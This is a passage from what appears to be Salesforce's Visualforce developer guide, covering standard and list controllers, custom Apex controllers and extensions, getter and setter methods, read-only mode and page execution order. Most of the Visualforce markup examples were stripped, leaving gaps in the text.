Note: Visualforce doesn’t alter markup generated by components to match the doctype, nor the markup for standard Salesforce elements such as the header and sidebar. Salesforce elements are valid for most doctypes and function properly with any doctype, but if you choose a strict doctype and wish to pass an HTML validation test, you might need to suppress or replace the standard Salesforce elements. Using a Custom ContentType You can specify a different format for a Visualforce page by using the ContentType attribute on the tag. This sets the Content-Type HTTP header for the response to the value of the page’s ContentType attribute. The ContentType attribute takes a Multipurpose Internet Mail Extension (MIME) media type as a value, such as application/vnd.ms-excel, text/csv, or image/gif. Browsers can behave unpredictably if you set an invalid ContentType. For more information about valid MIME media types, see http://www.iana.org/assignments/media-types/. Microsoft Excel ContentType Example To display Visualforce page data in a Microsoft Excel spreadsheet, use the contentType attribute on the tag, and specify a value of application/vnd.ms-excel. 56 Customizing the Appearance and HTML Output of Visualforce Pages Setting Custom HTML Attributes on Visualforce Components For example, the following page builds a simple list of contacts. It is a simplified version of the example shown in Building a Table of Data in a Page on page 40. Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query parameter in the URL for the page. For example: https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb Displaying Field Values with Visualforce on page 19 has more information about retrieving the ID of a record. To display this page in Excel, add the contentType attribute to the tag, as follows: If the page does not display properly in Excel, try a different MIME type, such as text/rtf. Setting Custom HTML Attributes on Visualforce Components You can add arbitrary attributes to the component that will be “passed through” to the rendered HTML. This is useful, for example, when using Visualforce with JavaScript frameworks, such as jQuery Mobile and Knockout.js, that use data-* attributes as hooks to activate framework functions. To add a pass-through attribute to , prefix the attribute with “html-” and set the attribute value as normal: 57 Customizing the Appearance and HTML Output of Visualforce Pages Setting Custom HTML Attributes on Visualforce Components This produces the following HTML output: ...
Every attribute that begins with “html-” is passed through to the resulting HTML, with the “html-” removed. Note: Pass-through attributes that conflict with built-in attributes for will generate a compilation error. Pass-through attributes are supported only for the component, which, by default, produces a wrapper tag. To render a
tag, you must explicitly set layout="block". To create HTML markup that can’t be generated using , combine Visualforce tags with static HTML. For example, to create a jQuery Mobile listview, combine the tag with the HTML tags you need: Pass-through attributes aren’t supported in dynamic Visualforce. 58 Chapter 5 Standard Controllers A Visualforce controller is a set of instructions that specify what happens when a user interacts with the components specified in associated Visualforce markup, such as when a user clicks a button or link. Controllers also provide access to the data that should be displayed in a page, and can modify component behavior. The Force.com platform provides a number of standard controllers that contain the same functionality and logic that are used for standard Salesforce pages. For example, if you use the standard Accounts controller, clicking a Save button in a Visualforce page results in the same behavior as clicking Save on a standard Account edit page. A standard controller exists for every Salesforce object that can be queried using the Force.com API. The following topics include additional information about using standard controllers: • • • • • • • Associating a Standard Controller with a Visualforce Page Accessing Data with a Standard Controller Using Standard Controller Actions Validation Rules and Standard Controllers Styling Pages that Use Standard Controllers Checking for Object Accessibility Custom Controllers and Controller Extensions Associating a Standard Controller with a Visualforce Page To associate a standard controller with a Visualforce page, use the standardController attribute on the tag and assign it the name of any Salesforce object that can be queried using the Force.com API. For example, to associate a page with the standard controller for a custom object named MyCustomObject, use the following markup: Note: When you use the standardController attribute on the tag, you cannot use the controller attribute at the same time. 59 Standard Controllers Accessing Data with a Standard Controller Accessing Data with a Standard Controller Every standard controller includes a getter method that returns the record specified by the id query string parameter in the page URL. This method allows the associated page markup to reference fields on the context record by using {!object} syntax, where object is the lowercase name of the object associated with the controller. For example, a page that uses the Account standard controller can use {!account.name} to return the value of the name field on the account that is currently in context. Note: For the getter method to succeed, the record specified by the id query string parameter in the URL must be of the same type as the standard controller. For example, a page that uses the Account standard controller can only return an account record. If a contact record ID is specified by the id query string parameter, no data is returned by the {!account} expression. As with queries in the Force.com API, you can use merge field syntax to retrieve data from related records: • • You can traverse up to five levels of child-to-parent relationships. For example, if using the Contact standard controller, you can use {!contact.Account.Owner.FirstName} (a three-level child-to-parent relationship) to return the name of the owner of the account record that is associated with the contact. You can traverse one level of parent-to-child relationships. For example, if using the Account standard controller, you can use {!account.Contacts} to return an array of all contacts associated with the account that is currently in context. Using Standard Controller Actions Action methods perform logic or navigation when a page event occurs, such as when a user clicks a button, or hovers over an area of the page. Action methods can be called from page markup by using {! } notation in the action parameter of one of the following tags: • • • • creates a button that calls an action creates a link that calls an action periodically calls an action makes an event (such as “onclick”, “onmouseover”, and so on) on another, named component, call an action • • defines a new JavaScript function that calls an action calls an action when the page is loaded The following table describes the action methods that are supported by all standard controllers. You can associate these actions with any Visualforce component that includes an action attribute. Action Description save Inserts a new record or updates an existing record if it is currently in context. After this operation is finished, the save action returns the user to the original page (if known), or navigates the user to the detail page for the saved record. quicksave Inserts a new record or updates an existing record if it is currently in context. Unlike the save action, this page does not redirect the user to another page. 60 Standard Controllers Validation Rules and Standard Controllers Action Description edit Navigates the user to the edit page for the record that is currently in context. After this operation is finished, the edit action returns the user to the page where the user originally invoked the action. delete Deletes the record that is currently in content. After this operation is finished, the delete action either refreshes the page or sends the user to tab for the associated object. cancel Aborts an edit operation. After this operation is finished, the cancel action returns the user to the page where the user originally invoked the edit. list Returns a PageReference object of the standard list page, based on the most recently used list filter for that object. For example, if the standard controller is contact, and the last filtered list that the user viewed is New Last Week, the contacts created in the last week are displayed. For example, the following page allows you to update an account. When you click Save, the save action is triggered on the standard controller, and the account is updated. Note: Remember, for this page to display account data, the ID of a valid account record must be specified as a query parameter in the URL for the page. For example: https://Salesforce_instance/apex/myPage?id=001x000xxx3Jsxb Displaying Field Values with Visualforce on page 19 has more information about retrieving the ID of a record. Note: Command buttons and links that are associated with save, quicksave, edit, or delete actions in a standard controller are only rendered if the user has the appropriate permissions. Likewise, if no particular record is associated with a page, command buttons and links associated with the edit and delete actions are not rendered. Validation Rules and Standard Controllers If a user enters data on a Visualforce page that uses a standard controller, and that data causes a validation rule error, the error can be displayed on the Visualforce page. If the validation rule error location is a field associated with an 61 Standard Controllers Styling Pages that Use Standard Controllers component, the error displays there. If the validation rule error location is set to the top of the page, use the or component within the to display the error. Styling Pages that Use Standard Controllers Any page associated with a standard controller automatically inherits the style that is used for standard Salesforce pages associated with the specified object. That is, the tab for the specified object appears selected, and the associated color of the tab is used to style all page elements. You can override the styling of a page that uses a standard controller with the tabStyle attribute on the tag. For example, the following page uses the Account standard controller, but renders a page that highlights the Opportunities tab and uses the Opportunity tab's yellow coloring: To use the styling associated with MyCustomObject: To use the styling associated with a custom Visualforce tab, set the attribute to the name (not label) of the tab followed by a double-underscore and the word tab. For example, to use the styling of a Visualforce tab with the name Source and a label Sources, use: Alternatively, you can override standard controller page styles with your own custom stylesheets and inline styles. See Also: Styling Visualforce Pages Checking for Object Accessibility If a user has insufficient privileges to view an object, any Visualforce page that uses a controller to render that object will be inaccessible. To avoid this error, you should ensure that your Visualforce components will only render if a user has access to the object associated with the controller. You can check for the accessibility of an object like this: {!$ObjectType.objectname.accessible} This expression returns a true or false value. 62 Standard Controllers Checking for Object Accessibility For example, to check if you have access to the standard Lead object, use the following code: {!$ObjectType.Lead.accessible} For custom objects, the code is similar: {!$ObjectType.MyCustomObject__c.accessible} where MyCustomObject__c is the name of your custom object. To ensure that a portion of your page will display only if a user has access to an object, use the render attribute on a component. For example, to display a page block if a user has access to the Lead object, you would do the following:

This text will display if you can see the Lead object.

It is good practice to provide an alternative message if a user cannot access an object. For example:

This text will display if you can see the Lead object.

Sorry, but you cannot see the data because you do not have access to the Lead object.

63 Chapter 6 Standard List Controllers Standard list controllers allow you to create Visualforce pages that can display or act on a set of records. Examples of existing Salesforce pages that work with a set of records include list pages, related lists, and mass action pages. Standard list controllers can be used with the following objects: • • • • • • • • • • • • • • Account Asset Campaign Case Contact Contract Idea Lead Opportunity Order Product2 Solution User Custom objects The following topics include additional information about using standard list controllers: • • • • • • Associating a Standard List Controller with a Visualforce Page Accessing Data with List Controllers Using Standard List Controller Actions Using List Views with Standard List Controllers Overriding Tabs Using a Standard List Controller Adding Custom List Buttons using Standard List Controllers Associating a Standard List Controller with a Visualforce Page Using a standard list controller is very similar to using a standard controller. First you set the standardController attribute on the component, then you set the recordSetVar attribute on the same component. For example, to associate a page with the standard list controller for accounts, use the following markup: 64 Standard List Controllers Accessing Data with List Controllers Note: When you use the standardController attribute on the tag, you cannot use the controller attribute at the same time. The recordSetVar attribute not only indicates that the page uses a list controller, it can indicates the variable name of the record collection. This variable can be used to access data in the record collection. Accessing Data with List Controllers Once you have associated a page with a list controller, you can refer to the set of records using expression language syntax. For example, to create a simple table of accounts, create a page with the following markup: This results in a page that lists all the account names in your organization: Note: This page does not specify a filter in the request, so the page is displayed with the last used filter. For information on using filters with list controllers, see Using List Views with Standard List Controllers on page 67. As with queries in the Force.com API, you can use expression language syntax to retrieve data from related records. As with standard controllers, you can traverse up to five levels of child-to-parent relationships and one level of parent-to-child relationships. When using a standard list controller, the returned records sort on the first column of data, as defined by the current view, even if that column is not rendered. When using an extension or custom list controller, you can control the sort method. Note: No more than 10,000 records can be returned by a standard list controller. Custom controllers can work with larger results sets. See Working with Large Sets of Data on page 80. See Also: “Relationship Queries” in the Web Services API Developer’s Guide 65 Standard List Controllers Using Standard List Controller Actions Using Standard List Controller Actions Action methods perform logic or navigation when a page event occurs, such as when a user clicks a button, or hovers over an area of the page. Action methods can be called from page markup by using {! } notation in the action parameter of one of the following tags: • • • • creates a button that calls an action creates a link that calls an action periodically calls an action makes an event (such as “onclick”, “onmouseover”, and so on) on another, named component, call an action • • defines a new JavaScript function that calls an action calls an action when the page is loaded The following table describes the action methods that are supported by all standard list controllers. You can associate these actions with any Visualforce component that includes an action attribute. Action Description save Inserts new records or updates existing records that have been changed. After this operation is finished, the save action returns the user to the original page, if known, or the home page. quicksave Inserts new records or updates existing records that have been changed. Unlike the save action, quicksave does not redirect the user to another page. list Returns a PageReference object of the standard list page, based on the most recently used list filter for that object when the filterId is not specified by the user. cancel Aborts an edit operation. After this operation is finished, the cancel action returns the user to the page where the user originally invoked the edit. first Displays the first page of records in the set. last Displays the last page of records in the set. next Displays the next page of records in the set. previous Displays the previous page of records in the set. In the following example, the user specifies a filter for viewing account records. When the user clicks Go, the standard list page displays, using the selected filter. 66 Standard List Controllers Pagination with a List Controller Pagination with a List Controller You can add pagination to a page using a list controller by utilizing the next and previous actions. For example, if you create a page with the following markup: {!a.name} Previous Next By default, a list controller returns 20 records on the page. To control the number of records displayed on each page, use a controller extension to set the pageSize. For information on controller extensions, see Building a Controller Extension on page 74. Note: When you use pagination, an exception is thrown when there are modified rows in the collection. This includes any new rows added to the collection through an extension action. The handling of error messages in this case follows the standard behavior and can either be displayed upon the page. For example, you can use the or component to display an error message to the user. Using List Views with Standard List Controllers Many Salesforce pages include list views that allow you to filter the records displayed on the page. For example, on the opportunities home page, you can choose to view a list of only the opportunities you own by selecting My Opportunities from the list view drop-down. On a page that is associated with a list controller, you can also use list views. For example, to create a simple list of accounts with a list view, create a page with the following markup: {!a.name} 67 Standard List Controllers Using List Views with Standard List Controllers When you open that page, you'll see something like the following: This page is associated with the standard account controller and the component is populated by {!listviewoptions}, which evaluates to the list views the user can see. When the user chooses a value from the drop-down list, it is bound to the filterId property for the controller. When the filterId is changed, the records available to the page changes, so, when the is updated, that value is used to update the list of records available to the page. You can also use a view list on an edit page, like the following: 68 Standard List Controllers Editing Records with List Controllers Note: If the user changes the list view, an exception is thrown if there are modified rows in the collection. The handling of error messages in this case follows the standard behavior and can either be displayed upon the page. For example, you can use the or component to display an error message to the user. Editing Records with List Controllers You can edit a set of records using list controllers, too. For example, if you create a page with the following markup: you see a page that allows you to update and save the Stage and Close Date on your opportunities, like the following: For more information, see Mass-Updating Records with a Custom List Controller on page 118. 69 Standard List Controllers Editing Records with List Controllers Note: Command buttons and links that are associated with save, quicksave, or edit actions in a list controller are not rendered if the user does not have the appropriate permissions. Likewise if no particular record is associated with a page, command buttons and links associated with the edit actions are not rendered. 70 Chapter 7 Custom Controllers and Controller Extensions Standard controllers can provide all the functionality you need for a Visualforce page because they include the same logic that is used for a standard page. For example, if you use the standard Accounts controller, clicking a Save button in a Visualforce page results in the same behavior as clicking Save on a standard Account edit page. However, if you want to override existing functionality, customize the navigation through an application, use callouts or Web services, or if you need finer control for how information is accessed for your page, you can write a custom controller or a controller extension using Apex: What are Custom Controllers and Controller Extensions? Building a Custom Controller Building a Controller Extension Controller Methods Controller Class Security Considerations for Creating Custom Controllers and Controller Extensions Order of Execution in a Visualforce Page Testing Custom Controllers and Controller Extensions Validation Rules and Custom Controllers Using the transient Keyword • • • • • • • • • • What are Custom Controllers and Controller Extensions? A custom controller is an Apex class that implements all of the logic for a page without leveraging a standard controller. Use custom controllers when you want your Visualforce page to run entirely in system mode, which does not enforce the permissions and field-level security of the current user. A controller extension is an Apex class that extends the functionality of a standard or custom controller. Use controller extensions when: • • • You want to leverage the built-in functionality of a standard controller but override one or more actions, such as edit, view, save, or delete. You want to add new actions. You want to build a Visualforce page that respects user permissions. Although a controller extension class executes in system mode, if a controller extension extends a standard controller, the logic from the standard controller does not execute in system mode. Instead, it executes in user mode, in which permissions, field-level security, and sharing rules of the current user apply. Note: Although custom controllers and controller extension classes execute in system mode and thereby ignore user permissions and field-level security, you can choose whether they respect a user's organization-wide defaults, role 71 Custom Controllers and Controller Extensions Building a Custom Controller hierarchy, and sharing rules by using the with sharing keywords in the class definition. For information, see “Using the with sharing or without sharing Keywords” in the Force.com Apex Code Developer's Guide. Building a Custom Controller A custom controller is an Apex class that uses the default, no-argument constructor for the outer, top-level class. You cannot create a custom controller constructor that includes parameters. To create a custom controller: 1. Click Your Name > Setup > Develop > Apex Classes. 2. Click New. 3. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this class. Use the default values for all versions. This associates the class with the most recent version of Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version. You can specify an older version of Apex and the API to maintain specific behavior. 4. In the class editor, enter the Apex code for the class. A single class can be up to 1 million characters in length, not including comments, test methods, or classes defined using @isTest. 5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue editing your class. Your Apex class must compile correctly before you can save your class. The following class is a simple example of a custom controller: public class MyController { private final Account account; public MyController() { account = [SELECT Id, Name, Site FROM Account WHERE Id = :ApexPages.currentPage().getParameters().get('id')]; } public Account getAccount() { return account; } public PageReference save() { update account; return null; } } The following Visualforce markup shows how the custom controller above can be used in a page: You belong to Account Name: 72 Custom Controllers and Controller Extensions Building a Custom Controller The custom controller is associated with the page because of the controller attribute of the component. As with standard controllers and controller extensions, custom controller methods can be referenced with {! } notation in the associated page markup. In the example above, the getAccount method is referenced by the tag's value attribute, while the tag references the save method with its action attribute. Note: Like other Apex classes, all custom controllers run in system mode. Consequently, the current user's credentials are not used to execute controller logic, and the user's permissions and field-level security do not apply. You can choose whether a custom controller respects a user's organization-wide defaults, role hierarchy, and sharing rules by using the with sharing keywords in the class definition. For information, see “Using the with sharing or without sharing Keywords” in the Force.com Apex Code Developer's Guide. A custom controller can also be used to create new records. For example: public class NewAndExistingController { public Account account { get; private set; } public NewAndExistingController() { Id id = ApexPages.currentPage().getParameters().get('id'); account = (id == null) ? new Account() : [SELECT Name, Phone, Industry FROM Account WHERE Id = :id]; } public PageReference save() { try { upsert(account); } catch(System.DMLException e) { ApexPages.addMessages(e); return null; } // After Save, navigate to the default view page: return (new ApexPages.StandardController(account)).view(); } } The following Visualforce markup shows how the custom controller above can be used in a page: 73 Custom Controllers and Controller Extensions Building a Controller Extension Building a Controller Extension A controller extension is any Apex class containing a constructor that takes a single argument of type ApexPages.StandardController or CustomControllerName, where CustomControllerName is the name of a custom controller you want to extend. The following class is a simple example of a controller extension: public class myControllerExtension { private final Account acct; // The extension constructor initializes the private member // variable acct by using the getRecord method from the standard // controller. public myControllerExtension(ApexPages.StandardController stdController) { this.acct = (Account)stdController.getRecord(); } public String getGreeting() { return 'Hello ' + acct.name + ' (' + acct.id + ')'; } } The following Visualforce markup shows how the controller extension from above can be used in a page: {!greeting}

The extension is associated with the page using the extensions attribute of the component. As with all controller methods, controller extension methods can be referenced with {! } notation in page markup. In the example above, the {!greeting} expression at the top of the page references the controller extension's getGreeting method. Because this extension works in conjunction with the Account standard controller, the standard controller methods are also available. For example, the value attribute in the tag retrieves the name of the account using standard controller functionality. Likewise, the tag references the standard account save method with its action attribute. Multiple controller extensions can be defined for a single page through a comma-separated list. This allows for overrides of methods with the same name. For example, if the following page exists: with the following extensions: public class ExtOne { public ExtOne(ApexPages.StandardController acon) { } 74 Custom Controllers and Controller Extensions Building a Custom List Controller public String getFoo() { return 'foo-One'; } } public class ExtTwo { public ExtTwo(ApexPages.StandardController acon) { } public String getFoo() { return 'foo-Two'; } } The value of the component renders as foo-One. Overrides are defined by whichever methods are defined in the “leftmost” extension, or, the extension that is first in the comma-separated list. Thus, the getFoo method of ExtOne is overriding the method of ExtTwo. Note: Like other Apex classes, controller extensions run in system mode. Consequently, the current user's credentials are not used to execute controller logic, and the user's permissions and field-level security do not apply. However, if a controller extension extends a standard controller, the logic from the standard controller does not execute in system mode. Instead, it executes in user mode, in which the permissions, field-level security, and sharing rules of the current user apply. You can choose whether a controller extension respects a user's organization-wide defaults, role hierarchy, and sharing rules by using the with sharing keywords in the class definition. For information, see “Using the with sharing or without sharing Keywords” in the Force.com Apex Code Developer's Guide. Building a Custom List Controller A custom list controller is similar to a standard list controller. Custom list controllers can implement Apex logic that you define to show or act on a set of records. For example you can create the following custom list controller based on a SOQL query: public class opportunityList2Con { // ApexPages.StandardSetController must be instantiated // for standard list controllers public ApexPages.StandardSetController setCon { get { if(setCon == null) { setCon = new ApexPages.StandardSetController(Database.getQueryLocator( [SELECT Name, CloseDate FROM Opportunity])); } return setCon; } set; } // Initialize setCon and return a list of records public List getOpportunities() { return (List) setCon.getRecords(); } } 75 Custom Controllers and Controller Extensions Building a Custom List Controller Note: The list of sObjects returned by getRecords() is immutable. For example, you can’t call clear() on it. You can make changes to the sObjects contained in the list, but you can’t add items to or remove items from the list itself. The following Visualforce markup shows how the custom controller above can be used in a page: You can also create a custom list controller that uses anti- and semi-joins as part of the SOQL query. The following code is implemented as an extension to the account standard controller: public with sharing class AccountPagination { private final Account acct; // The constructor passes in the standard controller defined // in the markup below public AccountPagination(ApexPages.StandardSetController controller) { this.acct = (Account)controller.getRecord(); } public ApexPages.StandardSetController accountRecords { get { if(accountRecords == null) { accountRecords = new ApexPages.StandardSetController( Database.getQueryLocator([SELECT Name FROM Account WHERE Id NOT IN (SELECT AccountId FROM Opportunity WHERE IsClosed = true)])); } return accountRecords; } private set; } public List getAccountPagination() { return (List) accountRecords.getRecords(); } } The page that displays these records uses a mix of standard list controller actions, but depends on iterating over the records returned from the custom list controller: {!acct.name} Previous Next 76 Custom Controllers and Controller Extensions Controller Methods Controller Methods Visualforce markup can use the following types of controller extension and custom controller methods: • • • Action Getter Setter Action Methods Action methods perform logic or navigation when a page event occurs, such as when a user clicks a button, or hovers over an area of the page. Action methods can be called from page markup by using {! } notation in the action parameter of one of the following tags: • • • • creates a button that calls an action creates a link that calls an action periodically calls an action makes an event (such as “onclick”, “onmouseover”, and so on) on another, named component, call an action • • defines a new JavaScript function that calls an action calls an action when the page is loaded For example, in the sample page in Building a Custom Controller on page 72, the controller's save method is called by the action parameter of the tag. Other examples of action methods are discussed in Defining Action Methods on page 103. Getter Methods Getter methods return values from a controller. Every value that is calculated by a controller and displayed in a page must have a corresponding getter method, including any Boolean variables. For example, in the sample page in Building a Custom Controller on page 72, the controller includes a getAccount method. This method allows the page markup to reference the account member variable in the controller class with {! } notation. The value parameter of the tag uses this notation to access the account, and dot notation to display the account's name. Getter methods must always be named getVariable. Important: It’s a best practice for getter methods to be idempotent, that is, to not have side effects. For example, don’t increment a variable, write a log message, or add a new record to the database. Visualforce doesn’t define the order in which getter methods are called, or how many times they might be called in the course of processing a request. Design your getter methods to produce the same outcome, whether they are called once or multiple times for a single page request. Setter Methods Setter methods pass user-specified values from page markup to a controller. Any setter methods in a controller are automatically executed before any action methods. For example, the following markup displays a page that implements basic search functionality for Leads. The associated controller includes getter and setter methods for the search box input, and then uses the search text to issue a SOSL query 77 Custom Controllers and Controller Extensions Controller Methods when the user clicks Go!. Although the markup doesn’t explicitly call the search text setter method, it executes before the doSearch action method when a user clicks the command button: Search Text The following class is the controller for the page markup above: public class theController { String searchText; List results; public String getSearchText() { return searchText; } public void setSearchText(String s) { searchText = s; } public List getResults() { return results; } public PageReference doSearch() { results = (List)[FIND :searchText RETURNING Lead(Name, Email, Phone)][0]; return null; } } While a getter method is always required to access values from a controller, it’s not always necessary to include a setter method to pass values into a controller. If a Visualforce component is bound to an sObject that is stored in a controller, the sObject's fields are automatically set if changed by the user, as long as the sObject is saved or updated by a corresponding action method. An example of this behavior is shown in the sample page in Building a Custom Controller on page 72. Setter methods must always be named setVariable. 78 Custom Controllers and Controller Extensions Controller Methods Important: It’s a best practice for setter methods to be idempotent, that is, to not have side effects. For example, don’t increment a variable, write a log message, or add a new record to the database. Visualforce doesn’t define the order in which setter methods are called, or how many times they might be called in the course of processing a request. Design your setter methods to produce the same outcome, whether they are called once or multiple times for a single page request. Getting and Setting Data with a Custom Extension or Controller There is no guaranteed order in which Apex methods and variables are processed by a controller extension or custom controller. Therefore, do not allow controller and extension classes to rely on another method being run, call that method directly. This applies specifically to setting variables and accessing data from the database. For example, in the following custom controller, the first method, getContactMethod1, always returns the correct value because it doesn’t assume that the contact variable c already exists. The second method, getContactMethod2, however, sometimes returns the correct value, but not every time if c hasn’t yet been set. public class conVsBad { Contact c; public Contact getContactMethod1() { if (c == null) c = [SELECT Id, Name FROM Contact LIMIT 1]; return c; } public Contact getContactMethod2() { return c; } } The following custom controller has the exact same methods. However, getContactMethod2 calls contactMethod1, so the variable c is always set, and always contains the correct value when returned. public class conVsGood { Contact c; public Contact getContactMethod1() { if(c == null) c = [SELECT Id, Name FROM Contact LIMIT 1]; return c; } public Contact getContactMethod2() { return getContactMethod1(); } } The following markup shows two pages that call these controllers. The Visualforce markup is identical, only the controller name is changed: getContactMethod2(): {!contactMethod2.name}
getContactMethod1(): {!contactMethod1.name}
getContactMethod2(): {!contactMethod2.name}
getContactMethod1(): {!contactMethod1.name}
79 Custom Controllers and Controller Extensions Controller Class Security Controller Class Security Like other Apex classes, you can specify whether a user can execute methods in a custom controller or controller extension class based on the user's profile. Note: If you have installed a managed package in your organization, you can set security only for the Apex classes in that package that are declared as global, or for classes that contain methods declared as webService. If users have the “Author Apex” permission, they can access all Apex classes in the associated organization, regardless of the security setting for individual classes. Permission for an Apex class is checked at the top level only. For example, if class A calls class B, and a user profile has access only to class A but not class B, the user can still execute the code in class A. Likewise, if a Visualforce page uses a custom component with an associated controller, security is only checked for the controller associated with the page. The controller associated with the custom component executes regardless of permissions. To set Apex class security from the class list page: 1. Click Your Name > Setup > Develop > Apex Classes. 2. Next to the name of the class that you want to restrict, click Security. 3. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable from the Enabled Profiles list and click Remove. 4. Click Save. To set Apex class security from the class detail page: 1. 2. 3. 4. Click Your Name > Setup > Develop > Apex Classes. Click the name of the class that you want to restrict. Click Security. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable from the Enabled Profiles list and click Remove. 5. Click Save. See Also: Security Tips for Apex and Visualforce Development Working with Large Sets of Data Visualforce custom controllers and controller extensions are subject to Apex governor limits. For more information about governor limits, see Understanding Execution Governors and Limits on page 546. Additionally, Visualforce iteration components, such as and , are limited to a maximum of 1,000 items in the collection they iterate over. Sometimes your Visualforce pages may need to work with or display larger sets of data, but not need to make modifications to that data; for example, if you are providing custom reporting and analytics. Visualforce offers developers a “read-only mode”, which relaxes the limit on the number of rows which can be queried in one request, and increases the limit on the number of collection items which can be iterated over within the page. 80 Custom Controllers and Controller Extensions Working with Large Sets of Data You can specify read-only mode either on individual components or methods, or for an entire page. Note: You can only iterate over large sets of data if you specify read-only mode for the entire page. Setting Read-Only Mode for Controller Methods Visualforce read-only mode is based on the Apex ReadOnly Annotation. To learn more about this feature, see ReadOnly Annotation in the Force.com Apex Code Developer's Guide. Visualforce controller methods with the @ReadOnly annotation automatically take advantage of read-only mode. You can use multiple @ReadOnly methods in expressions on a given Visualforce page, in a variety of ways, such as: • • • In an component to, for example, display a summary statistic. In an component to load a data set for charting. See How Visualforce Charting Works on page 188 to learn how to connect Visualforce charts to a data source. As the target of a remote JavaScript call. See JavaScript Remoting for Apex Controllers on page 246 to learn how to call Apex methods from JavaScript. Enabling read-only mode by using the @ReadOnly annotation must be done on the top level method call. If the top level method call is not a read-only method, the normal restrictions on maximum queried rows are enforced even if secondary methods are read-only. Enabling read-only mode by using the @ReadOnly annotation allows you to use both read-only method calls and method calls which perform DML operations on a single Visualforce page. However, it doesn't increase the maximum number of items in a collection for iteration components. If you want to iterate over larger collections of results, you need to enable read-only mode for the entire page. Setting Read-Only Mode for an Entire Page To enable read-only mode for an entire page, set the readOnly attribute on the component to true. For example, here is a simple page that will be processed in read-only mode:

Here is a statistic: {!veryLargeSummaryStat}

The controller for this page is also simple, but illustrates how you can calculate summary statistics for display on a page: public class SummaryStatsController { public Integer getVeryLargeSummaryStat() { Integer closedOpportunityStats = [SELECT COUNT() FROM Opportunity WHERE Opportunity.IsClosed = true]; return closedOpportunityStats; } } Normally, queries for a single Visualforce page request may not retrieve more than 50,000 rows. In read-only mode, this limit is relaxed to allow querying up to 1 million rows. In addition to querying many more rows, the readOnly attribute also increases the maximum number of items in a collection that can be iterated over using components such as , , and . This limit increased from 1,000 items to 10,000. Here is a simple controller and page demonstrating this: public class MerchandiseController { public List getAllMerchandise() { 81 Custom Controllers and Controller Extensions Considerations for Creating Custom Controllers and Controller Extensions List theMerchandise = [SELECT Name, Price__c FROM Merchandise__c LIMIT 10000]; return(theMerchandise); } }

Here is all the merchandise we have:

Product Price
While Visualforce pages that use read-only mode for the entire page can't use data manipulation language (DML) operations, they can call getter, setter, and action methods which affect form and other user interface elements on the page, make additional read-only queries, and so on. Considerations for Creating Custom Controllers and Controller Extensions Note the following considerations when creating controller extensions and custom controllers: • • • • • • • • • • • Unless a class has a method defined as webService, custom extension and controller classes and methods are generally defined as public. If a class includes a web service method, it must be defined as global. Use sets, maps, or lists when returning data from the database. This makes your code more efficient because the code makes fewer trips to the database. The Apex governor limits for Visualforce controller extensions and custom controllers are the same as the limits for anonymous block or WSDL methods. For more information about governor limits, see Understanding Execution Governors and Limits in the Appendix. If you are building a custom controller or controller extension, be careful that you do not inadvertently expose sensitive data that would normally be hidden from users. Consider using the with sharing keywords on class definitions to enforce permissions. Also be careful using Web services, which are secured as top-level entry points by the profile, but execute in the system context once they are initiated. Apex methods and variables are not instantiated in a guaranteed order. For more information, see Getting and Setting Data with a Custom Extension or Controller on page 79. You can't use data manipulation language (DML) operations in a “getxxx” method in a controller. For example, if your controller had a getName method, you could not use insert or update in the method to create an object. You can't use data manipulation language (DML) operations in a constructor method in a controller. You can't use the @future annotation in a “getxxx” or “setxxx” method in a controller, or in the constructor for a controller. Primitive Apex data types such as String or Integer are passed by value to the component's controller. Non-primitive Apex data types such as lists and sObjects are passed by reference to component's controller. This means that if component's controller changes the name of an account, the changes are available in page's controller. If your org uses person accounts 82 Custom Controllers and Controller Extensions Order of Execution in a Visualforce Page ◊ When referencing an account record's name field with a custom controller using the component you must specify isPersonAccount in your query. ◊ If you create a new account and set name, the record will be a business account. If you create a new account and set lastname, it will be a person account. ◊ As a best practice, create a custom name formula field that will render properly for both person accounts and business accounts, then use that field instead of the standard field in your Visualforce pages. ◊ If you plan on including your Visualforce page in a Force.com AppExchange package, in your controller or controller extension, you cannot explicitly reference fields that exist only in a person account. Order of Execution in a Visualforce Page When a user views a Visualforce page, instances of the controller, extensions, and components associated with the page are created by the server. The order in which these elements are executed can affect how the page is displayed to the user. To fully understand the order of execution of elements on a Visualforce page, you must first understand the page's lifecycle–that is, how the page is created and destroyed during the course of a user session. The lifecycle of a page is determined not just by the content of the page, but also by how the page was requested. There are two types of Visualforce page requests: • • A get request is an initial request for a page either made when a user enters an URL or when a link or button is clicked that takes the user to a new page. A postback request is made when user interaction requires a page update, such as when a user clicks on a Save button and triggers a save action. For specific details of the two types of requests, examples illustrating the lifecycle of a page, and tips on how to handle execution order when writing your own custom controllers and controller extensions, see: • • • Order of Execution for Visualforce Page Get Requests Order of Execution for Visualforce Page Postback Requests Examples of Visualforce Page Execution Order Note: The maximum response size from a Visualforce page request must be below 15 MB. Order of Execution for Visualforce Page Get Requests A get request is an initial request for a page either made when a user enters an URL or when a link or button is clicked that takes the user to a new page. The following diagram shows how a Visualforce page interacts with a controller extension or a custom controller class during a get request: 83 Custom Controllers and Controller Extensions Order of Execution for Visualforce Page Get Requests In the diagram above the user initially requests a page, either by entering a URL or clicking a link or button. This initial page request is called the get request. 1. The constructor methods on the associated custom controller or controller extension classes are called, instantiating the controller objects. 2. If the page contains any custom components, they are created and the constructor methods on any associated custom controllers or controller extensions are executed. If attributes are set on the custom component using expressions, the expressions are evaluated after the constructors are evaluated. 84 Custom Controllers and Controller Extensions Order of Execution for Visualforce Page Postback Requests 3. The page then executes any assignTo attributes on any custom components on the page. After the assignTo methods are executed, expressions are evaluated, the action attribute on the component is evaluated, and all other method calls, such as getting or setting a property value, are made. 4. If the page contains an component, all of the information necessary to maintain the state of the database between page requests is saved as an encrypted view state. The view state is updated whenever the page is updated. 5. The resulting HTML is sent to the browser. If there are any client-side technologies on the page, such as JavaScript, the browser executes them. As the user interacts with the page, the page contacts the controller objects as required to execute action, getter, and setter methods. Once a new get request is made by the user, the view state and controller objects are deleted. Note: If the user is redirected to a page that uses the same controller and the same or a proper subset of controller extensions, a postback request is made. When a postback request is made, the view state is maintained. If the user interaction requires a page update, such 